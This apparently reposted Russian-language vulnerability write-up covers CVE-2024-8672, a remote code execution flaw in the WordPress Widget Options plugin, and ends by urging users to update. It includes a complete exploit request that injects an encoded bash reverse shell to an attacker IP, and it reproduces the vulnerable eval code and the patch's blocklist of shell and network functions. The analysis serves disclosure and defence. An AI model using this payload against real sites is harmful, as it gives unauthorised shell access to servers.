Remote Code Execution в Widget Options (WordPress Plugin) — CVE-2024-8672

от автора

Введение

28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права «Contributor» и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).

Подготовка стендового окружения

Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP — /opt/lampp/htdocs):

cd ~/Downloads unzip wordpress-6.6.2.zip sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP — daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:

Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP — имя пользователя root и пустой пароль), а также создать админского пользователя:

WordPress установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:

После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:

Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:

Эксплуатация уязвимости

Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:

После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:

Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:

GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1 Host: 172.20.10.4 X-WP-Nonce: 9e522759e7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36 Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641

Здесь параметр GET attributes[extended_widget_opts][class][logic] передается в функцию PHP eval, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.

Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64 и передает результат в интерпретатор bash, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.

Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.

Причины уязвимости

Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:

function widgetopts_safe_eval($expression) {     ob_start();     try {         $result = (bool) eval("return $expression;");     } catch (Throwable $e) {         return false;     }     ob_end_clean();      return $result; }

Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:

function widgetopts_safe_eval($expression) {     // List of potentially harmful patterns     $dangerous_patterns = [         // Database-related keywords         '/\binsert\b/i',         '/\bupdate\b/i',         '/\bdelete\b/i',         '/\breplace\b/i',         '/\bselect\b/i',         '/\bdrop\b/i',         '/\balter\b/i',          // WordPress-specific database functions         '/\bwp_insert_post\b/i',         '/\bwp_update_post\b/i',         '/\bwp_delete_post\b/i',         '/\bwp_insert_user\b/i',         '/\bwp_update_user\b/i',         '/\bwp_delete_user\b/i',         '/\badd_option\b/i',         '/\bupdate_option\b/i',         '/\bdelete_option\b/i',         '/\bwpdb\b/i',          // JavaScript, CSS, and HTML         '/<script\b[^>]*>(.*?)<\/script>/i',         '/<style\b[^>]*>(.*?)<\/style>/i',          // PHP file manipulation functions         '/\bfile_put_contents\b/i',         '/\bfile_get_contents\b/i',         '/\bfopen\b/i',         '/\bfwrite\b/i',         '/\bunlink\b/i',         '/\brename\b/i',         '/\bchmod\b/i',         '/\bchown\b/i',         '/\bcopy\b/i',         '/\bscandir\b/i',          // External connections         '/\bwp_remote_get\b/i',         '/\bwp_remote_post\b/i',         '/\bcurl_init\b/i',         '/\bstream_context_create\b/i',          // Reflection and dynamic variable/function manipulation         '/\bReflectionClass\b/i',         '/\bReflectionMethod\b/i',         '/\bReflectionProperty\b/i',         '/\bcall_user_func\b/i',         '/\bcall_user_func_array\b/i',         '/\bextract\b/i',         '/\bparse_str\b/i',          // System commands         '/\beval\b/i',         '/\bsystem\b/i',         '/\bshell_exec\b/i',         '/\bexec\b/i',         '/\bpassthru\b/i',         '/\bpopen\b/i'     ];      $return = true;     // Pattern matching     foreach ($dangerous_patterns as $pattern) {         if (preg_match($pattern, $expression)) {             $return = false;             break;         }     }      if ($return === false) {         return $return;     }      if (stristr($expression, "return") === false) {         $expression = "return (" . $expression . ");";     }      ob_start();     try {         $result = (bool) (@eval($expression));     } catch (\Exception $e) {         $result = false;     } catch (\Error $e) {         $result = false;     } catch (\ParseError $e) {         $result = false;     } catch (\Throwable $e) {         $result = false;     }     ob_end_clean();      return $result; }

Стоит отметить, что примененный в решении разработчика подход «черного списка» является менее безопасным по сравнению с подходом «белого списка». Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.

Заключение

В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи — 4.0.8), в которой данная уязвимость была устранена.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam


ссылка на оригинал статьи https://habr.com/ru/articles/867684/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *